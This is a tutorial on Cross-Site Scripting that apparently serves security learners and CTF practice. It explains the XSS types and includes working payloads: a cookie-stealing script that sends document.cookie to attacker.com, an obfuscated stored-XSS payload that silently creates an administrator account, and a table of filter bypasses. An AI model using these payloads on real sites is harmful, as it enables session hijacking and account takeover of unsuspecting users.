Cross-Site Scripting

What is XSS?

Cross-Site Scripting (XSS) is injecting JavaScript into a web page that other users will view. The injected script runs in the victim’s browser, in the context of the vulnerable site.

Why is this dangerous? Because the browser trusts the site. If the site says “run this JavaScript,” the browser runs it. The victim’s cookies, session tokens, and DOM are all accessible to the injected script.

XSS turns a website into an attack platform. The attacker doesn’t hack the victim directly. They hack the site, and the site attacks the victim.


Types of XSS

There are two main categories, and they work very differently.


Stored XSS (Persistent)

The payload is saved on the server: in a database, a comment field, a profile, a forum post.

Every user who views that page gets hit. The attacker doesn’t need to trick anyone into clicking a link. They plant the payload once, and the site delivers it for them.

Common injection points:

  • Comment sections and forums
  • User profiles (display name, bio, avatar URL)
  • Product reviews
  • Contact forms that get displayed in an admin panel
  • HTTP headers (User-Agent, Referer) if they’re logged and displayed

Stored XSS is the most dangerous type. One injection can compromise every user who visits the page, including administrators.


Reflected XSS

The payload is embedded in a URL or request. The server reflects the input back into the page without sanitizing it.

Only the person who clicks the malicious link gets hit. The attacker needs to deliver the link somehow: phishing email, chat message, social media post.

Common injection points:

  • Search fields (search query reflected in “Results for: …“)
  • Error messages (“User [input] not found”)
  • URL parameters displayed on the page
  • Redirect parameters

DOM-Based XSS

The payload manipulates the page’s DOM (Document Object Model) directly through JavaScript, without the server ever processing it.

The vulnerable JavaScript on the page reads user input (from the URL, a cookie, or window.location) and inserts it into the DOM unsafely.

DOM-based XSS can be either stored or reflected. The key difference is that the server never sees the payload.


Identifying XSS Vulnerabilities

Step 1: Find Input Fields

Every place where user input appears back on the page is a potential XSS vector:

  • Search boxes
  • Comment forms
  • Profile fields
  • URL parameters
  • HTTP headers

Step 2: Test Special Characters

Inject these characters and check if they appear unencoded in the page source:

< > ' " { } ;

If < comes back as < instead of <, the field is likely vulnerable.


Step 3: Try a Basic Payload

The classic test:

<script>alert(1)</script>

If an alert box pops up, you’ve confirmed XSS.

Other useful test payloads:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
'-alert(1)-'

Different payloads work depending on where your input lands in the HTML:

ContextWhat you need
Between HTML tags<script> or <img> tags
Inside an attributeBreak out with " then add an event handler
Inside JavaScriptBreak the string with ' or ", add your code
Inside a URLJavaScript pseudo-protocol javascript:alert(1)

What Can XSS Actually Do?

An alert box proves the vulnerability exists, but it’s just the beginning. Real XSS attacks can:

  • Steal cookies and hijack sessions
  • Capture keystrokes (passwords, credit cards)
  • Redirect users to phishing pages
  • Modify the page (fake login forms, fake content)
  • Make requests as the victim (change passwords, transfer money)
  • Create admin accounts silently

Cookie Theft

The simplest real-world XSS attack: steal the victim’s session cookie and send it to your server.

<script>
new Image().src="http://attacker.com/steal?c="+document.cookie;
</script>

When the victim’s browser executes this, it sends their cookies to the attacker’s server. The attacker can then use those cookies to impersonate the victim.


Cookie Protection Flags

Not all cookies are stealable. Two flags prevent this:

FlagWhat it doesEffect on XSS
HttpOnlyJavaScript can’t access the cookieBlocks cookie theft via XSS
SecureCookie only sent over HTTPSPrevents interception, not XSS

If the session cookie has HttpOnly set, document.cookie won’t return it. You’ll need a different attack angle.

HttpOnly doesn’t stop XSS. It just prevents cookie theft. The injected script can still do everything else: modify the page, make requests, capture keystrokes.


Privilege Escalation via XSS

When cookie theft is blocked (HttpOnly), you can use XSS to perform actions as the victim instead of stealing their session.


The Attack Concept

Instead of stealing the admin’s cookie, inject JavaScript that:

  1. Fetches a CSRF token from the admin panel
  2. Submits a request to create a new admin account
  3. All of this happens silently when the admin views the page

The admin sees nothing. But a new admin account now exists.


Building the Payload

Step 1 - Fetch a nonce (CSRF token) from the admin page:

var req = new XMLHttpRequest();
req.open("GET", "/admin/user-new.php", false);
req.send();
var nonce = /ser" value="([^"]*)"/.exec(req.responseText)[1];

Step 2 - Use the nonce to create a new admin user:

var params = "action=createuser&nonce="+nonce
  +"&user_login=hacker&email=hacker@evil.com"
  +"&pass1=hackerpass&role=administrator";
var req2 = new XMLHttpRequest();
req2.open("POST", "/admin/user-new.php", true);
req2.setRequestHeader("Content-Type",
  "application/x-www-form-urlencoded");
req2.send(params);

Step 3 - Minify, encode, and deliver:

  1. Minify the JS into a single line
  2. Encode using charCodeAt() to avoid special character issues
  3. Wrap in eval(String.fromCharCode(...))
  4. Inject as the payload via a stored XSS vector (User-Agent, comment, etc.)

Why Encoding Matters

Raw JavaScript in an HTTP header or form field can break due to special characters (", <, >). Encoding the payload as character codes avoids this:

// Encode
function encode(s) {
  return s.split('').map(c => c.charCodeAt(0)).join(',');
}

// Decode and execute on victim's browser
eval(String.fromCharCode(104,101,108,108,111))
// executes: "hello"

The server stores the encoded version. When the admin views the page, String.fromCharCode rebuilds the original script and eval runs it.


Bypassing Filters

Many applications try to block XSS by filtering input. Common bypasses:

FilterBypass
Blocks <script>Use <img onerror>, <svg onload>, <body onload>
Blocks alertUse confirm(), prompt(), or eval()
Strips <script> once<scr<script>ipt> (nested)
Blocks quotesUse backticks or HTML entities
Encodes <>If inside JS context, you don’t need them
WAF blocking keywordsCase variation <ScRiPt>, unicode encoding

Filters are not sanitization. Blacklist-based filters can almost always be bypassed. Proper output encoding (HTML entities, JS escaping) is the real fix.


XSS in the Real World

XSS isn’t just for popping alert boxes. Real-world impact includes:

  1. Session hijacking - steal cookies, take over accounts
  2. Credential harvesting - inject a fake login form, capture passwords
  3. Cryptojacking - inject a miner, use visitor’s CPU
  4. Worm propagation - XSS that spreads itself (Samy worm, 2005)
  5. Admin takeover - create backdoor accounts via stored XSS
  6. Phishing - modify page content to display attacker-controlled messages

Practice

For dedicated XSS challenges with flags:

  • Intro to XSS - Reflected, stored, DOM, and blind XSS with hands-on labs
  • Advanced XSS - Filter bypasses and advanced payloads
  • Sea - XSS in a contact form leading to RCE
  • IClean - XSS and SSTI exploitation chain
  • Cereal - XSS leading to web shell upload

For structured learning, PortSwigger’s XSS labs cover every XSS type with interactive challenges.